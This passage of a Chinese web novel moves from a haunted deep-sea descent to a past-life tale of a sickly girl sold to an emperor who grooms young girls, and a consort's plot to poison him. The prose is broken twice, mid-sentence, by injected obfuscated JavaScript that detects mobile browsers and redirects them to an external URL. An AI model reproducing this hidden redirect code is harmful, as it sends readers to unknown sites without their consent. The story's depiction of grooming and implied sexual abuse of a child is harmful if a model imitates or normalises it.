数日中,其实她并没什太多想和他说的,尤其知道他和郑擎的关系后,更是有些许尴尬。但好在他二人并不像有些师弟那样沉浸于人间劫数,只当那人间数十年是对心性的磨练,相处起来也不至于太不自然。 不过二识封闭,又处于冰冷刺骨、压迫感十足的海水中,她唯一的外界讯号便是他。 沉寂几日,她还是主动问了些话。 “仪光……到底是怎样的一个神。” 她冷不丁问他。 “怎么忽然想起他?” “他教我,养育我,曾经给予我许多,我也崇他敬他,信奉他的道。他曾说的那些话,刻在剑崖的那些字,我从小背得滚瓜烂熟,为此,他夸我,我还十分骄傲。” “人且会变,神也一样。何况,太极生两仪,阴阳、清浊、善恶,世间万物,没有只得其一的,不过是哪个更多罢了。” “世上总该有不会变的东西。” “永远不变也许并不是好事。”擎光凝视着前方,说道。 王心若感到他停下下沉的步伐,疑惑道:“师叔?” 擎光望着前方道:“有人和我说过,他历经三千失败,若永远不变,他岂非永无成功的机会?再者,永远不变,永死和永生,又有什么区别?” 停留片刻,他道:“接下来这片深海之域,纵然是郑含元也未曾踏足。待会,你碰到什么,都不要管,只管握紧我的手,跟着我游下去。” 王心若感到越下潜,四面八方传来的压感就越强,而这片海已经不是用冷可以形容。 而是“阴”。 这些水如丝如缕,爬过每一寸肌肤,激起一阵战栗,让人心底生寒。 因在水中漂浮,自己的发丝也随水波浮动,王心若未握着擎光的另一只手,便时不时摸到自己的发丝。 可这会很奇怪,发丝越来越难解,像故意缠上她的指尖。 她用力抽出,却发现自己根本没有感觉。 那不是她的发丝! 她惊悟,下一刻便碰上一个冰冰凉凉、触感细滑的物体。 她稍一触碰,立刻发现,那是一双手。 她赶快放开。 一片漆黑中,她感觉有人轻抚过自己的后颈,感到有微弱的气息传在耳畔,可仔细一觉察,却又什么都没有,只剩冰凉的水波。 “这里……有人?还是……水下的尸体?”她问。 擎光在神识中的声音显得有些冷漠,“不用理睬。” 片刻,他道:“这才只是刚开始。” 而后,王心若才明白他话中涵义,漆黑中,她不再是隐约,而是感到越来越多的发丝飘荡在她面颊、额边、耳后、颈边、手边……她开始不断碰到一些东西,温凉的、炽热的,是手,是衣袖,是她无法看见的许多东西。 摸到的东西越来越多,从一开始的偶尔,到现在抬手可感。 然而她什么都看不见。 她只能感觉擎光带她正在从一片“人海”中往外挤出去,只能盼着这样的时刻赶快过去。 她感到似乎自己正传过一片尖锐的目光。 又也许只是自己吓自己。 她只需要跟着擎光下沉就好了…… 然而几乎是一刹那,一阵巨流从远处袭来,将她卷走,握着的手冲开几乎就在一瞬。 神识就这样切断。 她企图稳住自己的身子,拼命寻找擎光的手掌,却被海流裹挟,什么也抓不住。 白衣墨发在黑暗的海水中浸泡散开,在深海微弱只剩一丝的月光下,如无力漂泊的花朵,向海底坠落。 清丽双眸虽张开,却一片空洞,什么都看不见。 而在离这无力的花朵不到十米的地方—— 暗黑的巨流似乎破开间隙,缓缓裂开,如巨兽苏醒,那漩涡中睁开的是一只巨大的眼。 那花朵若落在这眼上,尚且不如一滴泪的大小。 这只眼如同生在上古巨兽身上,眼瞳中有鲜红的竖纹,泛着幽幽的月光。 可它什么实体都没有,只有一只硕大的眼,像是这遥遥无际、暗暗无光的荒海,本身的眼睛。 眼睛就这样锐利的睁开,盯着眼前渺小的花朵,看她随波逐流。 77. 嘉木凋绿叶(1) 目不能视,耳不能闻,而随波逐流于黑暗中。 这样的情景,也曾出现在她的第五世情劫。 · 那世的她自幼体弱多病,被大夫断言活不过二十岁。 所以在她八岁时,爹娘因她的医药费不堪重负,终于做下一个剜心的决定,将她卖给人牙子,为讨个好价钱,并没告诉人牙子她身有顽疾。 可同样的,人牙子也并没告诉这对父母,他做的都是什么买卖。 ——也许知道后,爹娘便不会做出这样的决定了。她想。 京城有贵人,就喜欢漂亮年幼的小女孩,对这些小女孩,有着异于常人的、卑劣恶心的欲.望。 而八岁的她,虽然体弱,却细眉杏目,肤如琼玉,着实是个美人胚子,因身上病气,双目常有盈盈之色,趁着那点红痣,反而更添怜人之态。 人牙子一看,就知道对京城那贵人而言,这是个极品。 他对她说:“我记得你是叫若玦吧,日后你就要享泼天富贵了!” 若玦不懂什么是泼天富贵,但她被一个接着一个穿着不一的仆婢接进辉煌宫殿时,她十分无措。那雕栏画壁、玉阶朱墙,她从未见过;那些环佩叮咚、珠宝绫罗,她也从未见过。 她们帮她沐浴、更衣,然后给她穿上非常柔软的一件樱粉衣裙。 一位年长的女官告诉她,这是苏州进贡的浅荷罗所制,整个大周只这一件,非常珍贵。方才官家已派人打量过她,很是满意。 “官家是谁?”她问。 女官说,官家是天下最富贵之人,有最高的权力。若想永葆富贵,就要讨好官家,唯他是从。 若玦不大听得懂,但她知道自己要听话。 女官带她走到一个很大很大的挂满明黄色帐幔的床边,让她坐在上面,“官家等会就来,你听嬷嬷的,一定要听话,只要你听话,日后你想要什么,官家都会给。” 她点头,无措却又乖巧地坐在床边。 女官走了,留她一人。那床上放了很多小玩意,看起来是她这个年纪喜欢玩的,可她只扫了一眼。 等了许久,那沉重的雕满龙凤纹样的门打开,一个高却清瘦的人朝她走来。那人其实长相并不差,甚至算得上温和君子,可有些苍白,眼下青痕添了些阴郁。 那明黄色的袍服穿在他身上,显得有些松垮宽大。 他走到她身前,带着汉白玉戒的大拇指抚过她的脸颊。 “官家。”她喊道。 “嗯?”男人有些惊异。 若玦伸出手指,比了个三,“我爹娘把我卖给你,赚了三两银子。刚刚的嬷嬷说,只要我听话,我想要什么,官家都会给。” 男人闻言,很是愉悦地笑了几声,“她说得对,朕最喜欢听话的孩子。” “官家,那三两银子,可不可以给我。”她问。 那是卖她得来的钱,应该给她。 “三两银子?”男人大笑着抱起来她,“你要三十两,三百两,朕都给你。你叫什么名字?” “若玦。”她有些执拗道,“官家,我只要三两。” 男人抱着她来到书桌旁,铺开一张纸,问:“若玦,是那两个字,你会写吗?” 若玦摇头,“不会,但我知道是宛若的若,玦是玉缺了一角的玦。” 男人提笔在纸上写出“若玦”二字,赞叹道:“真是个好名字,明日我就让人把它裱起来,挂在宫里,你说好不好,阿玦?” 若玦颔首,她记得,她要听话。 男人似乎很开心,又抱着她回到明黄色的床上,看着床上那些没碰过的小玩意,“阿玦不喜欢么?” 若玦看了看道:“官家,我不会玩。” “真是个可怜的孩子。”男人摸摸她的头,把她放在床上,“朕教你玩。” 男人在看向九连环时,眼神别样认真,给她讲解的也别样认真。 “阿玦,大概像你这样的年纪,我和阿姐最爱玩这些,那时候我们并不受宠,哥哥姐姐们那些精巧的玩具我们玩不了,只有母妃从宫外带来的这些。” 若玦也不知在没在听,她对男人道:“官家,这里我解不开。” 男人闻言略有些出神,“当年阿姐也解不开,无事,朕教你。” 直到夜深,若玦困得不行,打了个哈欠,男人才放她和衣而眠。 · 后来若玦知道,她所在的地方是大周的皇宫,那个和她玩九连环的男人是皇帝,她被养在皇帝寝殿旁一个富丽堂皇的叫做玉斋的小阁楼,她能去的地方很少,宫里的人都叫她小姐。 皇帝好像很忙,隔三差五只有入夜才来她这,来了也就是抱着她说些话,玩一些无聊的游戏。 “蔓蔓喜欢画画,小璇喜欢蹴鞠,阿玦,你喜欢什么呢?朕看你玩这些游戏时都是恹恹的。”皇帝叹息。 听闻这叹息,若玦有些惶恐,“官家,我自幼体弱,家里也贫穷,从小我都是这般恹恹躺在床上,并非不喜欢。” 皇帝眼中的疼惜更加深重,“真是个可怜的孩子,乖若玦,你躺在床上时,都在想什么呢?” 若玦笑得很甜美,说出的话却莫名让人心惊,“官家,我在想我什么时候死去呢。” 皇帝向她承诺:“若玦,朕会想办法帮你医治的。” · “沉香一钱、君迁子一钱、荆芥二钱、枳实一钱……你怎么在这?” 阵阵药香传来,若玦站在门边,看着里面正在挑拣药材的少年。 皇帝说找人替她医治后,她在皇宫这方世界里,认识了第二个男人。 但这男人年纪尚轻,看起来也不过是十四、五的少年,穿着浅碧色绣白鹤的衣袍,发髻梳得一丝不苟,用银冠束着,那双指节修长肤色白净的手正在替她煎药。 初识他时,他被诏进玉斋,皇帝指着他说:“阿玦,别看这位哥哥年轻,他的娘亲是大周最优秀的医女,也将一身的医术都传给他,他一定能治好你的病。” 皇帝又对少年说:“嘉嘉,朕把阿玦交给你,你一定要治好她。” 那时少年不冷不热地回了声好。 但若玦捕捉到他眼底一丝很快消失的厌恶。 后来若玦的药就都归属这位少年管辖,她听闻宫中人恭敬唤他“世子”。 “世子”成“官家”之后,她记住的第二个称谓。 这日她好奇地进了玉斋旁的小药房——皇帝专门为玉斋设置的小药房,看见少年正在煎药,她对着他周围的宫人比了噤声的动作,盯着他看了许久。 过了许久,他才发现她,问她“在这做什么”。 “嘉嘉。”她喊道,并没有叫世子。 少年停下手中动作,“你不能这么叫我。” 若玦道:“官家也这么叫你。” “官家是九五至尊,他想怎样叫我,都须应着。” 若玦又道:“你不喜欢他这么叫你。” 少年抬眸望她:“你胡言乱语什么。” 若玦笑了,似乎发现了什么秘密,双眸眯着如一弯新月,“嘉嘉,你不喜欢官家。” 话音落地,整个小药房瞬间安静。 少年把她拉了出去,“你乱说什么?你知不知道在皇宫里乱说话,是会没命的。” 若玦灿烂的笑意很快就因少年的愤怒收敛,她眨眨眼睛,有些兴致缺缺,“嘉嘉,那我不说了。” “你真是个可怕的女孩。”少年盯着她看了会,甩下一句话就离去。 若玦站在原地,探究地望着他的背影。 · 由于官家的旨意,少年每日都要来给若玦送药。 “药很苦,你捏着鼻子一口气喝下去不要停,越停越苦,我给你准备了蜜饯,你喝前喝后都吃一颗,就不那么苦了。”少年声音虽冷,却还是和她说了许多。 若玦接过药碗,朝他笑了笑,“嘉嘉,谢谢你。” 说罢,她一口气喝完了那碗深褐色的药。 犹豫都不曾犹豫片刻。 少年目瞪口呆,“你……不怕苦?” “从小就喝药,已经习惯了,苦与不苦,都要喝的。”她用手帕擦过嘴角的药汁。 “你说的话,不像这个年纪的孩子。” 若玦反问:“这个年纪的孩子应该怎样呢?” 少年想了想,“该活泼些,我妹妹今年七岁,最喜欢的就是放风筝,要么就是看小金鱼,看蝴蝶,闹腾得很,闹得爹娘都嫌。” 若玦看他讲起妹妹时,冷漠的面容上浮现一丝暖意,若有所思。 · 若玦似乎变得开朗了一些,春天到了,她自己做起了风筝,皇帝乐见她的开朗,陪她一起做风筝。 宫人们脸上也多了些喜气。 她隐约有听宫人说:“这位若玦姑娘真是了不起,宫里很久没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137559|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来新的女孩子了……蔓蔓姑娘和小璇姑娘以往多受宠,如今官家也不去探望了。” “官家脾气变好了很多,已经许久没有杖杀宫人了,头疼病似乎也没再犯……” 若玦觉得,她并没有什么了不起,她只是听话。但官家有头疼病么?她不知道,在她的眼里,官家只是个对她好,但又有些奇怪的大人。 适合放风筝的时节,皇帝似乎很忙碌,她只能拉着少年陪她玩。 风筝上画了个燕子,高高飞在天际。 她把线交给少年,自己张开双手跑在花园里,樱粉色的衣裙翻飞着,“嘉嘉,我也是燕子,我要飞了!” 少年一向冰霜般的面容竟也微微展露笑意,似乎被她明灿的面容所感染。 “你活泼些,才像个正常女孩子。” 若玦绕着树,绕着花,绕着少年跑。 少年也难得看着她笑。 然而笑着笑着,下一刻便僵在脸上。 若玦昏倒了。 少年赶忙抛开风筝,那线也恰好挂在树上断了,燕子随着风高飞不知何方。 他抱着若玦跑回玉斋。 · 睡梦迷蒙中,若玦听见皇帝发怒的声音。 “裴嘉!朕让你救治她,不是害她,你却让她变成这样!” 原来嘉嘉叫裴嘉,可……不是他的错,是她自己跑着跑着忽然气短昏厥,和他有什么关系。 可她醒不过来,也说不出话。 她听见天子震怒,“这群宫人一点用都没有,给朕拉下去统统杖毙!” 裴嘉求情,“官家,千错万错是裴嘉之错,不要惩罚她们!” “裴嘉,你以为朕不会惩罚你么……” “别罚他!”若玦喊着,从噩梦里惊醒。 等她醒来,只见一片明黄。她的惊醒惊动了案边的帝王,帝王面带惊喜朝她走来,“阿玦,你醒了。” 若玦惊魂未定,喃喃道:“官家,你不要罚嘉嘉。” 皇帝面色微僵,岔开话题,“阿玦,你好些了么?你昏睡了三天,朕很害怕。” 若玦仍是重复道:“官家,不是嘉嘉的错,不要罚他。” 许是刚从病中惊醒,许是在帝王顺心顺意的呵护中,她终于暴露了一个孩童的无知。 皇帝沉了脸色,“看来你还需要休息。” 皇帝忽然抚上额头,似乎有些痛苦,他甩袖离开,未再发一言。 后来皇帝有一个多月没再来玉斋。 · 若玦在玉斋待的闷了,就想出去走走。 六月闷热,蝉鸣聒噪,走着走着,便到一处湖边。湖边绿柳如荫,才有几分凉爽。 她望着湖面,有人望着她。 直到听到身边的宫人纷纷行礼,“给沅婕妤娘娘请安。” 她懵懂回头,看见一个穿着打扮皆清贵的女子。 那女子一身湖碧色宫装,云髻皆用白玉做装饰,虽不华丽夺目,却依然贵气十足。眉目清秀,一双丹凤眸,像仙人用笔细细勾勒出来一般,精致而韵味十足。 最要紧的是,那双清冷如霜的眉眼,竟和少年隐约有几分相似。 “婕妤”,是若玦在皇宫里听到的第三个称呼。 沅婕妤冷淡地望着若玦。 若玦有些惧怕那样的眼神,因为她也看出来,那冷淡中藏着的厌恶。 她为什么也讨厌自己?若玦不明白。 她身旁的宫人提醒她:“若玦小姐,这是沅婕妤娘娘,你要行礼。” 若玦便听话地行礼。 沅婕妤微俯身,冰冷的指尖抚上她的脸颊,意味不明道:“这就是官家的漂亮宠物?” 宫人噤声。 “若玦不是宠物。”她有些不平。 沅婕妤叹息,可那叹意并未掩盖眼底的轻蔑,“可怜的孩子,又有什么区别?” 沅婕妤带着她的许多宫人浩浩荡荡离去,若玦见她拿出帕子擦了擦手指,将那帕子扔给宫人,“真是晦气,今日本是见弟弟的好日子,却遇见她……” 若玦沉默地望着她远去的背影,也不想在外逗留。 于是准备回玉斋,她沿着湖往回走,看那深绿色的湖面,一时恍惚。 不知被谁一推,她不设防跌入湖里。 湖水淹没了她的眼眸和耳朵,她看不见什么也听不见什么,只能在这冰冷的湖水里随波逐流。 78. 嘉木凋绿叶(2) 大夏天的湖水也能这样冰冷吗?若玦感觉越来越多的冷水呛入她的口鼻,积压她本就所剩无几的呼吸,脚下踩不到底,手也摸不到边。 她在水里挣扎,正如打破了玻璃缸的小金鱼在岸上挣扎。 樱粉色的浅荷罗在水中散开,真像一朵纱做的花啊。濒死的朦胧中,若玦却浮上这样的念头。 有人会想摘这朵水中花吗?透过水波,浅碧色的白鹤似乎降临,一双修长白皙的手握住她的手,拖住她无法自控下沉的身躯。 隐约耳边传来少年焦急的声音,“若玦,若玦……” 在漫长的黑暗里,若玦梦见她在放风筝,风筝飞得越高,她跑得越快,跑着跑着她变成了一只白鹤,飞上浅碧色的天空。可忽然,一只明黄色的箭矢把它打下,于是白鹤便坠落在地上奄奄一息。 若玦醒来时,头顶的帐幔正是明黄色。 “我的白鹤呢?”若玦从床上爬起来,穿着里衣,散着头发,随便踩着鞋就跑出去。 中间婢女拦她也拦不住,婢女道:“小姐,小姐你怎么了,什么白鹤?” 素来体弱的若玦此刻不知为何却来了力气,推开身旁的婢女跑出门去,在小药房终于又看到那穿着浅碧色绣白鹤袍服的银冠少年。 “嘉嘉!”她跑上前抱住裴嘉。 裴嘉原手持着药碗,被她一撞,溅出些药汁。 “你小心些,刚醒身子还弱,咋咋呼呼跑过来还不穿鞋,寒从脚生,下次又该不舒服了。以后跑也别跑这么快,撞过来若我没端稳,你就被烫着了。”裴嘉冷着脸批评道。 若玦朝他眯眼讨好地笑了笑。 “比我妹妹闹腾多了……”裴嘉无奈地把药碗递给她,“喝吧。” 若玦伸手,“嘉嘉,我要蜜饯。” “奇了,你不是从来喝药都不需要这些的么?”话虽如此,裴嘉还是把放在桌上的蜜饯拿过来给她吃。 谁知道若玦吃下去没嚼几下就吐了出来,“呸呸呸,太腻了,不好吃。” 裴嘉无语,“我们王府里都找不到像你这么娇纵的女孩。”却又像想到什么似的,他皱起眉头,“你……” “怎么了?”若玦歪头问他。 看那双眸分明澄澈明净,裴嘉轻声在她耳边道:“你……你别和官家走太近。” 若玦点点头,捧着药碗把它一口气喝完。 “喝完药,快把鞋袜穿上。”裴嘉揉揉她的头发,叮嘱道。 她嘻嘻一笑,有一丝小无赖,“我要嘉嘉帮我穿。” 身边婢女变了脸色,“小姐……” “我就要嘉嘉帮我穿。”若玦转身望着婢女,敛去笑意一字一顿认真说着。 “为难她们做什么?”裴嘉拉着她的手进了玉斋,让婢女把鞋袜拿来,他蹲下为她穿上鞋袜,“从前妹妹在家也有些闹腾,都是我帮她穿的,你们这些小孩子真让大人不省心。” “若玦不是小孩子。”她望着裴嘉道:“嘉嘉,我还想去放风筝。” 裴嘉点头,“下次我和官家说,带你放风筝。” 若玦又道:“嘉嘉,等我及笄后,娶我好吗?” · 后来,若玦才知道第一次她昏厥后,官家杖杀了天天在她身边的那个女官姐姐,所以她再也梳不了之前的发髻——那个女官才会梳的发髻。 而裴嘉因身份问题,只是在府上关了一月的禁闭,换了别的太医来煎药。 一月后,裴嘉到宫中见姐姐,也就是沅婕妤,恰好遇见若玦落水,所以相救。又刚好,之前太医的药效并不好,官家便把裴嘉换回玉斋小药房。 只是官家让他煎完药就离开。 “世子每天都有很多事要做,他只能抽空来帮阿玦煎药,煎完药他就要去忙了。”官家如是说。 玉斋被冷了一个月,又恢复昔日荣宠。 宫人悄悄道:“据说是落水醒来后当晚,若玦小姐就拿着九连环到乾恩殿求见官家,也不知两人发生了什么,第二天官家就给了玉斋许多赏赐,又像之前一样夜夜宿在玉斋了。” “若玦小姐真是不得了,小璇小姐和蔓蔓小姐如何比得过呢……” 事实上,当晚若玦只是披着发,拿着九连环放在龙案上,对官家说了句:“官家,若玦又忘了怎么解九连环了,官家能不能教教若玦?” 然后她又成了那个锦衣玉食的若玦小姐。 起初带她的嬷嬷说,人和人的命就是不一样的,小姐很有“听话”的天赋,所以官家很满意。 一日,玉斋有位不速之客。 宫人叫她小璇小姐,小璇看着比她大一些,穿着蓝色的襦裙,一双如杏的眼睛又大又水灵,看起来很喜人,只是漂亮的眼睛里盛满了恐惧和忧伤。 她说:“若玦,你知不知道,蔓蔓就因为在湖边推了你一把,她……她……”还没说完,她就哭了起来。 “可我根本不知道是谁推我的。”若玦皱眉,“我也不认识蔓蔓。” 小璇边哭边说:“总之,官家知道了,他把蔓蔓做成了美人画!” 若玦听不懂,她看小璇哭得满脸通红,甚至哭出了鼻涕,她把手帕递给小璇,“擦擦吧。” 小璇漂亮的杏眼肿得像核桃,她接过帕子,抽噎着说:“你……你……我带你去看蔓蔓!” 她立马拉上若玦出门去,然而还没穿过第二道回廊,就撞见明黄色的仪仗。 “小璇,你拉着阿玦要去哪里?”官家的声音很是慈爱。 “啊!”小璇本就跑得快,此刻摔倒在地上,望着那明黄袍服上的狰狞的龙大口大口喘气,说不出话。 若玦对官家行礼,道:“官家,小璇说要带我玩蹴鞠。” “是啊,小璇喜欢蹴鞠,去玩吧。”官家笑得像个很和善的长辈。 蔓蔓喜欢画画,小璇喜欢蹴鞠,若玦突然想起来。 官家要离开时,若玦又开口,“官家,玉斋一个人有些冷清,我想让小璇过来住,可以吗?” 官家有些微愣,却仍是笑着应允,“小姑娘家多一起待待也好。” 离开后,官家和身旁的内侍笑道:“阿玦是个聪明的女孩子。” 而明黄色的仪仗远去后,软倒在地上的小璇抓着若玦的衣角哭道:“若玦,谢谢,谢谢你……” · 玉斋不再是若玦一人的玉斋,成了小璇和若玦两人的玉斋。 可小璇就像一朵很快枯萎的花,脸颊一日比一日瘦削,她每晚都睡不着,即便睡着也会做噩梦,她和若玦说:“我梦见,我被做成了蹴鞠,被踢来踢去,若玦,我好怕!” “蔓蔓,蔓蔓是个很漂亮的女孩儿,比我们都漂亮,她穿红衣服可好看了,就像一朵玫瑰花,可、可……若玦,我一定不会像她那样害你,你要保护我啊,若玦!” 无论若玦怎么承 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浅碧宫装的女子和她的弟弟一样,看起来都是如玉一样不可攀折的贵人。 无聊的寒暄后,沅婕妤将下人都屏退,说要和若玦说说体己话。 “若玦,你有没有学过《孟子》?” 若玦有些迷茫地摇摇头,“我不识字,我也没学过。” 沅婕妤有些无语,她说:“民为贵,社稷次之,君为轻。这句你该听过吧?” 若玦依旧摇头。 沅婕妤叹道:“若玦,我记得你是被你爹娘三两银子卖来的,你知道三两银子对于一个平民之家意味什么吗?” 若玦当然知道,“我家四口人一年吃喝,也花不了一两银子。”她看着沅婕妤手上的白玉镯,“可三两银子,连婕妤手上镯子的边角料都买不来。” 沅婕妤被她抢白,脸上有些挂不住,但她很快正色道:“是,你看你每日的吃穿用度,却也和这白玉镯差不多。古人云,食君之禄,忠君之事,但本质上,我们都是食民之禄,你认为呢?国库中的钱,也都是来自百姓。所以我们要感激百姓,是吗?” 若玦若有所思。 “为了天下百姓,我们一定要有一个好君王,而不是一个刚愎自用、残暴成性、变态至极的君王。”说到后面,沅婕妤有些失态,右手还在微微的发抖。 她接着道:“还记得你身边那个女官吗,她只是因为一些小小的错误,就被杖责一百下,皮开肉绽,没能下地就魂归西去。还有蔓蔓小姐,也许你见过,那样漂亮的一个小女孩,就因为……” 若玦打断她,“你想说,官家不是一个好君王。” 沅婕妤长叹,并未正面回答,“君不正,则臣不忠,父不正,则子不孝。君王如此,天下何堪。” “我要怎么做?” 沅婕妤从袖中拿出一个小小的红线绑住的纸袋,“官家夜夜来玉斋,你只要每日在他饮的茶里撒上这个,其他都不用管。不出一年,官家就会从一个坏官家,变成一个好官家。” 她把小纸袋放进若玦手中,朝她微笑,那双丹凤眼更是清丽动人。 “而若玦,你会成为天下人都感谢,最有勇气最懂大义的女孩子。” “这样好的女孩子,我们镇南王府定要迎娶你做嘉儿的世子妃的。” 79. 嘉木凋绿叶(3) 若玦望着沅婕妤,攥着手中的纸袋,忽然一笑,“好呀。” 沅婕妤望着女孩弯如新月的杏眸和甜如蜜糖的声音,虽心下有些未定,却也一时不知该说什么,只象征性抚了抚她的鬓发,“好若玦,天下百姓都不会忘记你。” 不欲久坐,见这面色纯真的小姑娘应下差事,她便准备回宫。 然她不知道的是,她走后,若玦走到门店开了条缝,望着她的背影。 若玦笑着对门外的女官说:“婕妤娘娘和上次一样,又擦了擦她的手呢,可真是位清高的女子。” 女官低头,并未回应。 · 深冬到了,宫里下了一场很大的雪。 若玦体弱,经不得寒气,是以无法出门,只能在屋内望着窗外的阵阵飞雪。 穿着明黄龙袍的男人推门进入,他面上带着喜色,“若玦,你看朕给你带了什么。” 若玦发呆被打断,回过神来,朝他行礼,却被他拉着手带到桌案旁。 他拿出一个雕刻精美的木椟,打开后,里面锦垫上放置着一个淡粉色的玉环,但说是玉环又不完全是,有个小缺口,这缺口两侧被雕成芙蕖模样,缀着小银珠。 他指着芙蕖端道:“若玦,你自己看看。” 若玦小心翼翼接过,如此剔透淡粉的玉它从未见过,那端口的花瓣上竟然极小的刻着若玦二字。 “玦本是佩玉,常呈半环形,但大多是男子佩戴,朕想着给你做礼物,应该是女孩儿家能常戴的,所以便想下这形制,只是一直找不到合适的玉。恰好三月前,楚州上贡一块荷花玉,其色清透泛粉,其温常暖,朕便想着拿来做这玉玦之镯,命了工部寻来当世名家周择睿来雕的。” 若玦伸出手腕,“官家帮若玦戴吧。” 他自是欣然应允。 “若玦不知道荷花玉,也不知道周择睿,但若玦知道它好看,若玦很喜欢,谢谢官家。” 皇帝笑着摸了摸她的头。 “官家进来说了这么些话,还没喝口水,若玦给你泡茶。” “让她们去做就是。” 她道:“要自己泡,才有诚意。” 饮茶罢,皇帝在她这儿坐了一会,若玦说:“天冷了,若玦时常觉得很困,官家,若玦想睡觉。” 皇帝轻叹,把她抱到床上。 若玦阖眸之时,听见他轻声道:“阿玦,快快长大吧。” 若玦佯装熟睡后,有人在她嘴角落下温热一吻。 · 相似的时光总是过得很快,一年又一年。 若玦拨弄着放在玉斋角落里的一盆吊兰,轻声道:“枯死了啊……” 女官接过,“小姐,枯死就换一盆罢。” “今天嘉嘉要去看他姐姐,我也好久没拜见沅婕妤了,我们去迎香水榭看看吧。”若玦整理容装,披上大氅便出门。 没曾想,还未到迎香水榭,就遇着这对姐弟在御花园里散步。 借着墙和重重花影,若玦把自己隐藏起来,隐约听见她们在说些什么。 “嘉儿,你将弱冠,一定要挑选一位知书达礼、温婉和顺的世子妃……” “姐姐,娶妻之事尚不急。” “嘉儿,你不会真的……” 后面的话因他们走远了,也不大能听见。 若玦敛眸,长睫微颤。 · 又到盛夏时分,可她与裴嘉已经不能像小时候那样亲密,只能隔帘相见。木帘打下,日光透过帘叶,在内打下层层阴影,而且两侧内外皆有跪侍的女官。 裴嘉从帘外向内递进一个风筝,那风筝不似其他风筝那么大,反而很小巧,一面绘着燕子,一面绘着一个放风筝的粉衣女孩,翻飞的衣袖像一只漂亮的蝴蝶。 “若玦,待我及冠后,就不能来内宫了。” 若玦看着跪坐在外的人,看着他日益成熟的轮廓,她拿过风筝,轻轻道了声谢。 她道:“嘉嘉行冠礼会是怎样的呢?若玦想不出来,大概会特别、特别好看吧。” 裴嘉笑了,“若玦及笄那天也会很漂亮的。” 若玦思忖片刻,悠悠道:“及冠之后,就可婚娶了。嘉嘉以后,会娶一个贤良淑德的名门之女吧。” 话音落,她感到帘外的人抬头,望进来的目光有些锐利。 裴嘉只说了两个字:“等我。” 裴嘉是在镇南王府行的冠礼,男子及冠是人生中的大事,镇南王府也为世子冠礼请了当世非常有名望的各界人物作为礼宾,只不过皇帝并未赏脸驾临。 高挑清冷,风姿似雪。一层一层加上礼服后,更是隐隐透出庄重高雅的气质。 裴嘉除却寻常世家公子有的博览群书等优点外,还尤擅医理,医者仁心,平素积累的名望也不少,镇南王对这嫡长子也十分看重,期待他于仕途能有一番建树。 然而礼毕后,本欲带他会一会同僚的镇南王,却找不到裴嘉的身影。 裴嘉正孤身一人往皇宫里去。 他甚少做这样荒废礼节、甚至有些荒唐的事,可今日不知为何,他便想这么做。 他感到家里弟弟妹妹在他行冠礼时,望着他的眼神颇有崇拜之色。 莫名的,他就想让若玦看一看自己现在的模样——那个经常说奇怪的话,看似成熟却又有点幼稚的姑娘看到他,又会从她的口中说出怎样的话呢? 他想知道,所以脚步也轻快了些。 一向冷冰冰没什么表情的脸上此刻挂着他自己也不知道的微笑。 今日的玉斋并没有什么宫人守着,他想找人通传也不得。所以理理衣袍,他决定给若玦一个惊喜。 可当他推门时,眼前的景象却让他愣住。 肤如玉、唇如丹的少女笑意盈盈的,坐在穿着明黄色龙袍的男人腿上,正在喂他吃一颗晶莹的葡萄。 还小时,只觉得这样的姿势尚能接受,可她渐长大,这姿势却无比暧昧、无比刺眼。 对上帝王那双深沉的眸时,裴嘉立马从思绪中抽离,他跪了下来,“官家。” 他甚至不知道此刻除了喊这两个字外还能做什么。是他失策了,是他昏了头,是他因为她一件微不足道、不值一提的小事昏了头。 帝王轻抚着少女脸颊,“嘉嘉今日是及冠的大好日子,怎么不在王府待着。” “臣……” 少女轻快地接过话题,又喂了帝王一颗葡萄,“官家,之前若玦很好奇冠服是什么样,所以就让嘉嘉及冠那日穿来给若玦看看,你也知道,若玦身子弱,不能出宫,就只能为难嘉嘉了。” 帝王笑道:“真是娇纵,这么欺负嘉嘉。” “若玦给嘉嘉赔罪就是。” “如今你看见了,觉得如何?” 若玦望向裴嘉道:“若玦大字不识几个,说不出漂亮话,只知道嘉嘉以前是小哥哥,如今便是大哥哥了。” 帝王微眯双眸,顺着若玦视线打量一番裴嘉,道:“嘉嘉如今真当得起‘君子如玉,风仪伟长’之语,阿玦,你也快及笄了,朕把嘉嘉赐给你做夫婿好不好?” 裴嘉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137561|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中如惊涛骇浪,抬头望向圣颜。 却看见若玦正和帝王耳语些什么,又让帝王开怀大笑。 帝王笑罢却不满足,“阿玦,这有什么不好意思说的,说出来大家都听听。” 若玦羞赧道:“官家……” 可帝王却敛了笑意,“阿玦,朕让你说,你便说。” 若玦敛眸缓了缓,睁开后却是满目崇敬,语气中充满了小女儿情思。 “嘉嘉是哥哥……若玦心中的夫婿,只有官家。” 裴嘉心头一震,他企图从若玦的眼中看到些什么,可若玦一眼也没望他。 , 裴嘉不知道自己是怎么回到王府的,只记得最后他被父王罚跪在祠堂许久。 罚他的年轻无知,罚他的荒唐可笑,罚他的轻率鲁莽。 · 裴嘉及冠那日,若玦正在画那个小风筝,给小风筝上跑着的粉衫少女旁画了个湖碧色的少年。 忽然听到门外通传,官家驾临。 她匆匆忙忙收起小风筝,去迎接来人。 皇帝看到她,满意地点点头:“阿玦是不是又长高了?” 